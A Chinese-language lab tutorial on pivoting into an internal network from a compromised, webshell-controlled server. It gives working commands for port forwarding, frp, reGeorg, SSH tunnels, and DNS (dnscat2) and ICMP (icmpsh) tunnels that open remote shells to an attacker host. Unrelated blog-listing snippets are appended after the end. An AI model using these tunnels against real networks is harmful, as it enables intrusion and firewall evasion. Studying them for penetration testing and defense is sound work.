当我们通过 webshell 或者其它一些方式获取到一台可以访问内网的服务器权限后,如果要做进一步的渗透,往往要访问内网中的其它主机,但其它主机在内网中,我们无法直接访问。由于控制的服务器处于内网中,所以我们可以通过这台服务器作为跳板进行内网穿透。
这篇文章将会使用之前搭建的环境(搭建一个简单的Windows域环境)对内网穿透常用的技术及防御手段进行介绍。这里需要再准备多一台 ubuntu 虚拟机作为 linux 服务器, kali 虚拟机作为攻击机
内网穿透使用的技术主要有下面几种:
端口转发
socks 代理
dns 隧道
icmp 隧道
端口转发技术主要是把目标内网的主机的端口转发到公网可以访问的主机端口中。根据转发的方向不同,也可以分成正向端口转发和反向端口转发,但本质是一样的,都是把一台主机的一个端口转发到另一台主机的一个端口。
正向端口转发的情况一般用得比较少。
这种情况一般是获得权限的公网Web服务器同时具有公网 ip 和内网 ip。此时可以把内网主机的一些端口转发到 Web服务器的端口上。
示意图中,Web服务器会在本地打开一个3389端口进行监听,接着攻击主机访问了Web 服务器的3389端口,然后Web服务器作为中转,把 3389端口接收到的流量转发到内网主机B 的 3389。这样就达到了访问内网主机B的目的。
设置以下环境:
172.16.217.160 外网 kali 攻击机
172.16.108.183,172.16.217.186 网络边界 windows 7 服务器(被控),双网卡,172.16.217.0/24 段的网卡模拟公网,172.16.108.0/24 段的网卡连接内网。
172.16.108.196,172.16.217.165 网络边界 ubuntu 服务器(被控) , 双网卡
172.16.108.184 内网服务器(目标),我们想连它的3389端口
要实现双网卡,只需要在虚拟机上添加多一个网络适配器即可
在 windows 系统上关闭防火墙,这样才可以被 ping 通
接下来测试来双网卡的效果,在被控 windows 上分别 ping 下 kali 和目标机,看看是否都可以通
windows 7 被控服务器可以同时 ping 通 kali 和 目标机
kali 可以 ping 通 双网卡的 windows 7 被控服务器,但无法 ping 通内网的目标主机 172.16.108.184
在目标机中开启远程桌面
顺便把目标机的网络级别身份验证关了,方便 kali 连接
接下来在被控 windows 服务器进行正向端口转发,在 windows 下可以使用自带的 netsh工具来进行正向端口转发,netsh是一个命令行脚本实用工具,可以查看或更改本地计算机或远程计算机的网络配置。
现在需要通过 172.16.217.186 的 3389 端口转发到 172.16.108.184 的3389端口。
在 172.16.217.186 被控主机上以管理员身份打开 cmd,输入如下语句:
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=172.16.217.186 connectport=3389 connectaddress=172.16.108.184
//查看存在的转发
netsh interface portproxy show all
//使用netstat确保 3389 端口当前处于被侦听状态:
netstat -ano | findstr 3389
进行端口转发后,就可以通过172.16.217.186 的 3389端口访问内网 172.16.108.184 主机的 3389 端口了。
在 kali 上使用 rdesktop 来连接,注意,这里连接的地址是被控主机的 ip
rdesktop 172.16.217.186
删除指定规则可以使用下面命令
netsh interface portproxy delete v4tov4 listenport=3389 listenaddress=172.16.217.186
在 linux 下可以使用 iptables 进行正向端口转发,iptables 是 linux自带的防火墙软件
创建 iptables 规则,在边界 ubuntu 服务器上把本地 3389 端口收到的流量转发到 172.16.108.184 的 3389 端口
sudo iptables -I INPUT -p tcp -m tcp --dport 3389 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 3389 -j DNAT --to-destination 172.16.108.184:3389
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo sysctl net.ipv4.ip_forward=1
ubuntu18.04 使用下面命令重启防火墙,
sudo ufw disable && sudo ufw enable
在其它系统可以使用重启iptables
/etc/init.d/iptables restart
在 kali 上使用 rdesktop 来连接,注意,这里连接的地址是被控 ubuntu 主机的 ip
rdesktop 172.16.217.165
使用完后使用 iptables –F 清除规则然后重启 iptables
SOCAT是用于执行流量转发的另一种工具。
它比 iptables 更容易使用。
安装 socat
sudo apt install socat
在边界 ubuntu 服务器上把本地3389端口收到的流量转发到
172.16.108.184 的 3389端口
在 ubuntu18.04 上需要先关闭防火墙
sudo ufw disable
然后进行端口转发
socat TCP4-LISTEN:3389,fork TCP4:172.16.108.184:3389
反向端口转发用得比较多。这种情况一般是公网Web服务器只有内网 ip,然后通过路由器把 80 端口映射到公网的 ip上。这种情况下不能让 Web服务器直接监听本地的端口,然后让攻击主机进行连接,因为路由器只做了80端口的映射。
攻击主机想要访问内网主机B的 3389 端口时,可以让公网的一台 外网服务器 监听 3389 端口,然后把 3389 端口收到的流量转发到 8000 端口,接着让 Web 服务器连接外网服务器的 8000 端口,并且把该端口的流量转发到内网主机B的 3389 端口。这时,攻击机访问外网服务器的 3389 端口,相当于访问内网主机B的 3389 端口。
流量的路径如下:
设置以下环境:
172.16.217.163 windows攻击机,用于和 kali外网服务器交互
172.16.217.160 外网 kali 攻击机,同时是vps主机
172.16.108.196,172.16.217.165 网络边界ubntu服务器 (被控) ,双网卡,172.16.217.0/24 段的网卡模拟公网,172.16.108.0/24 段的网卡连接内网。
172.16.108.184 内网服务器(目标),我们想连它的 3389 端口。
frp
frp是一个可用于内网穿透的高性能的反向代理应用,支持tcp, udp协议,为 http 和 https应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp用来做反向端口转发比较稳定,而且同时支持 linux 平台和 windows平台。
其详细的介绍可以在github上查看
https://github.com/fatedier/frp/blob/master/README_zh.md
在以下地址下载相应版本的frp
https://github.com/fatedier/frp/releases
在windows 平台下载
frp_0.32.0_windows_amd64.zip
在 linux平台下载
frp_0.32.0_linux_amd64.tar.gz
解压后,将 frps 及 frps.ini 放到具有公网IP(公网 vps )的机器上。
将 frpc 及 frpc.ini 放到处于内网环境的机器上(内网 ubuntu 边界服务器)。
下面的配置将把内网主机的3389端口转发到 公网VPS上
先在vps上修改 frps.ini文件,这里使用了最简化的配置,监听8000端口,等待内网 ubuntu 服务器连接
[common]
bind_port=8000
在vps上启动 frps:
./frps -c./frps.ini
在内网 ubuntu 边界服务器修改frpc.ini文件, 把 172.16.108.184 的 3389 端口转发到 vps 172.16.217.160 的 3389 端口
[common]
server_addr = 172.16.217.160
server_port = 8000
[rdp]
type= tcp
local_ip = 172.16.108.184
local_port = 3389
remote_port = 3389
启动 frpc,连接vps:
./frpc -c ./frpc.ini
连接成功后,在 windows 攻击机上直接连接vps 的 3389 端口即可访问内网主机的 3389 端口
当然,frp也可以做正向端口转发,原理是一样的,把vps换成边界服务器就行了。
socks是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。但也可以用于客户端与内网服务器之间的通讯。socks协议版本有 socks4 和 socks5,其中 socks5 可以支持udp。
socks有一个服务端,它会监听一个端口,等待客户端的连接。客户端连接该端口,然后告诉服务端要访问那些ip和端口,然后由服务端去访问,服务端把返回的数据转发给客户端。
它的优点是很灵活,不需要转发各种端口,直接通过 socks 服务器就可以访问内网的不同端口。
如果我们获得了一个webshell,可以使用 socks 代理的webshell来实现 socks代理。
reGeorg是常用的隧道马,可以在本地监听一个 socks服务端,然后把收到的内网请求转发到 webshell来访问。下载地址如下:
https://github.com/sensepost/reGeorg
设置以下环境:
172.16.217.160 外网 kali 攻击机,用于使用reGeorg
172.16.108.196,172.16.217.165 网络边界ubntu服务器 (被控) ,被上传 webshell ,双网卡,172.16.217.0/24 段的网卡模拟公网,172.16.108.0/24 段的网卡连接内网。
172.16.108.184 内网服务器(目标)
实验环境的边界 ubuntu 服务器是使用tomcat的,所以上传 tunnel.jsp 到服务器的 webapps目录,访问URL是
http://172.16.217.165:8080/tunnel.jsp
接着 kali攻击机上运行下面命令即可在本地的8080端口启动socks 服务器
python reGeorgSocksProxy.py -p 8080 -u http://172.16.217.165:8080/tunnel.jsp
如何使用socks代理?
在 windows 下面可以使用Proxifier来连接代理。如果要对内网做web渗透,可以直接在burpsuite上面设置socks代理的地址和端口。如果在 linux 下,可以使用 proxychains 工具来使用代理。
以 kali 为例,先把 /etc/proxychains.conf文件的最后一行修改为:
socks5 127.0.0.1 8080
然后通过 proxychains来启动要代理的程序,这样
rdesktop 的流量会经过 socks 代理直接访问内网的目标主机。
proxychains rdesktop 172.16.108.184
可以实现 socks 代理功能的还有很多工具,如 ssocks 、 cobaltstrike 的 socks 功能、msf 的 socks 功能,这里就不一一介绍了。
ssh是 linux 自带的远程登录客户端,ssh端口转发也被称作 ssh 隧道(sshTunnel),因为它们都是通过ssh登陆之后,在ssh客户端与ssh服务端之间建立了一个隧道,从而进行通信。ssh隧道是非常安全的,因为 ssh 是通过加密传输数据的。
使用ssh可以实现前面的所有功能,如正向端口转发、反向端口转发和socks 代理。
如果被控主机是 linux, 推荐使用 ssh 来做隧道,因为它的流量是加密的,而且极其稳定
使用前首先要确认 /etc/ssh/sshd_config 的以下配置:
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes #保持心跳,防止ssh断开
PasswordAuthentication yes
重启 ssh 生效
# 重启ssh
service ssh restart
ssh隧道的常用参数如下:
-C:该参数将使ssh压缩所有通过SecureShell客户端发送的数据。
-f:该参数将ssh连接送入后台执行。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息
ssh 隧道分为本地端口转发、远程端口转发和动态端口转发。
本地转发是将远程主机(vps)某个端口的数据转发到本地机器(内网主机)的指定端口。
远程端口转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口。
动态端口转发是就是建立一个 socks 代理。
设置以下环境:
172.16.217.160 外网 kali 攻击机,同时是vps
172.16.108.196,172.16.217.165 网络边界 ubuntu 服务器,双网卡,172.16.108.0/24段的网卡连接内网。
172.16.108.184 内网服务器(目标)
一般来说,在端口转发时,使用的是远程端口转发
下面命令把 172.16.108.184 的 3389 端口转发到 172.16.217.160 的 3389 端口,注意,下面命令不会产生交互shell,需要用kill命令手动杀死ssh进程才能停止端口转发,在 172.16.108.196 上运行以下命令,输入 vps 的 ssh 账号密码
ssh -CfNg -R 172.16.217.160:3389:172.16.108.184:3389 [email protected]
在 vps上运行以下命令即可访问 172.16.108.184 的 3389 端口
rdesktop 127.0.0.1
ssh 动态端口转发可以实现 socks 代理:
先在内网主机 172.16.108.196 上运行下面命令,使用本地的1086端口做动态端口转发,输入的是172.16.108.196 上的 ssh 账号密码,这时需要有本地的账号密码,或者获取 root 权限后,自行添加一个账号密码
ssh -CfNg -D localhost:1086 ubuntu@localhost
再把本地1086端口远程转发到 172.16.217.160 的1086端口,这里输入的是vps的ssh账号密码。
ssh -CfNg -R 172.16.217.160:1086:localhost:1086 [email protected]
在vps上配置 /etc/proxychains.conf文件的最后一行修改为:
socks5 127.0.0.1 1086
然后通过下面命令访问目标主机 172.16.108.184 的 3389 端口
proxychains rdesktop 172.16.108.184
当目标内网有防火墙策略,不允许内网机器的 tcp 连接出外网时,端口转发技术就无法使用了。这时可以使用但dns请求一般是可以出外网的,而 dns 的 txt记录是可以用来传输数据的,因此通过 dns请求可以建立到目标内网的连接。
常用的工具是dnscat
https://github.com/iagox86/dnscat2
powershell 版本
https://github.com/lukebaggett/dnscat2-powershell
在 vps 172.16.217.160 上运行
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
bundle install
sudo ruby./dnscat2.rb
在内网主机使用 dnscat 客户端连接vps服务器
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID
建立连接后可以运行命令获取 cmd shell:
windows
session -i 1
shell
session -i 2
当端口转发、DNS隧道都失败时,可以尝试使用ICMP 请求把TCP/UDP数据封装到ICMP的ping数据包中来绕过防火墙。
可以使用 icmpsh 工具来建立 icmp 隧道
https://github.com/inquisb/icmpsh
设置以下环境:
172.16.217.160 外网 kali 攻击机,同时是vps, 监听 icmp请求
172.16.108.183 172.16.217.186 内网 windows 服务器,其中172.16.217.0/24 连接公网
在 kali上运行以下命令关闭 ICMP 应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后运行下面命令监听,其中 172.16.217.186 是目标公网IP
python icmpsh_m.py 172.16.217.160 172.16.217.186
接着在内网 windows 服务器上运行以下命令连接 vps,可以在 vps 获取一个 cmd shell
icmpsh.exe -t 172.16.217.160 -d 500 -b 30 -s 128
内网穿透的一些技术就介绍到这里了~
本文章也在我的公众号发布
文章浏览阅读1.6k次。针对bat相关命令 ,不一一陈列了,就将自己做的一个事情时遇到的问题,以及解决问题时候思路过程做一记录,以便后续查找。前提: 有一个这样的需求:有一段脚本代码,代码中有一个数组,你现在要在打包之前,动态的往代码中的数组中添加一些值,如: 准备修改的文件test.lua Config = {}; Config.ONE = "0";_bat修改config
文章浏览阅读388次。Expdp 很慢 impdp很快又要签一个合同,毕竟还是很happy的事。签合同之前,客户抛出来一个小问题,是的,对将要进行的合同来说,这个问题绝对只是九牛一毛。这是个问题是,客户一个比较关键、但是中小型的数据库(数据文件100G以内),导出花了1个多小时,导入只要5分钟。导出导入的工具是用的Oracle10gR2的expdp,数据库是Oracle10.2.0.4 ,平台是AIX530..._impdp 100g 数据要多久
文章浏览阅读1.4k次,点赞4次,收藏3次。虚拟内存 和 物理内存 的区别。页表(Page Table):能够实现虚拟内存里面的页,到物理内存里面的页的一一映射。简单页表:多级页表:1.整个进程内存空间分配:两头空,中间实2.实例分析【32位:一个1级页表可以映射128KB大小的物理内存,一个填满的2级页表可以映射4MB大小的物理内存】3. 一个程序的实际测算【8M程序:多级页表:需要9KB内存空间;简单页表:需要4MB 内存空间;相差近500倍】4.多级页表增加了查询时间【时间换空间的策略:4级页表需要4次内存访问】_虚拟内存protection check
文章浏览阅读928次。学习一门技术要和行业靠拢,没有行业背景的技术如空中楼阁。技术尤其是计算机领域的技术发展是宽泛且快速更替的(十年前做网页设计都能成立公司),一般人没有这个精力和时间全方位的掌握所有技术细节。但是技术在结合行业之后就能够独当一面了,一方面有利于抓住用户痛点和刚性需求,另一方面能够累计行业经验,使用互联网思维跨界让你更容易取得成功。不要在学习技术时想要面面俱到,这样会失去你的核心竞争力。一、目前国内的数据挖掘人员工作领域大致可分为三类。1)数据分析师:在拥有行业数据的电商、金融、电信、咨询等行业里做业务咨_数据挖掘的学习路线
文章浏览阅读1.5k次。ZC706 简介,根据介绍翻译_zc706开发板
文章浏览阅读1.1w次,点赞2次,收藏21次。java将数据逐条写入mysql中,防止出现堵塞_java 文件逐条导数据库
文章浏览阅读1.5k次。惠普笔记本偶尔闪屏控制面板中打开“电源选项”改完之后应用即可。惠普笔记本老是闪屏怎么办啊这个闪屏门和灯管有问题都可能。如果是14寸宽屏的就下个鲁大师看看屏幕是不是LG的 是就肯定是闪屏门的了 只能换屏幕或凑合用。 跟排线无关。解决笔记本硬件故障,有问题直接问不用客气。直接百度嗨问和用户资料扣扣和电话问都可以。惠普电脑屏幕一闪一闪的,是怎么回事?笔记本电脑闪屏,通常有如下3种原因。一、屏背光引起的..._惠普笔记本闪屏
文章浏览阅读9k次,点赞2次,收藏9次。最早提出 item2vec 这个方法是在这篇论文中Item2Vec: Neural Item Embedding for Collaborative Filtering 这里的 item2vec 用到的方法和 word2vec 中的方法基本类似。可以说是把 word2vec 中的方法迁移到了推荐系统中。基本思想是把原来高维稀疏的表示方式(one_hot)映射到低维稠密的向量空间中,这样我们就可以用_item2vec movie len
文章浏览阅读102次。三月春光正盛,恰逢职场上迎来“金三银四”的招聘旺季。很多在去年寒冬中按奈了许久的程序员们终于坐不住了,想趁着这个机会去寻求一个更好的发展平台。在印象中,程序员可谓是神一般的存在,随随便便敲它几行代码,月薪都能轻松..._程序员升职加薪的理由有哪些
文章浏览阅读2.8k次。侃侃无极一种快速的解决方法是使用来覆盖单选按钮的输入样式:after,但是创建自己的自定义工具箱可能是更好的做法。 input[type='radio']:after { width: 15px; height: 15px; border-radius: 15px; top: -2px; left: -1px; ..._前端单选框否改成红色按钮
文章浏览阅读634次。说明:一个PHP程序猿,闲来无事,用虚拟机安装了CentOS7版本的linux,搞了下PHP环境的安装(分装,其实有很多一键shell集成安装包的,总感觉学习就要一步一步来,才有成就),之前只是弄一些简单的服务器上的操作,纯属小学生,仅供自己温习,有想借鉴的瞅瞅也行,有误导的地方,望不喷,谢谢~! 一. 准备工作①预先安装虚拟机vm11,百度推荐当前的那个,vm11序列号:1F04Z-6D111-7_centos nginx+php安装
文章浏览阅读290次。题目解题思路 模拟,【数据不大】 【否则】,动态规划代码[模拟]#include<cstdio>using namespace std; int n,k,ans; int main(){ freopen("knumber.in","r",stdin); freopen("knumber.out","w",stdout)...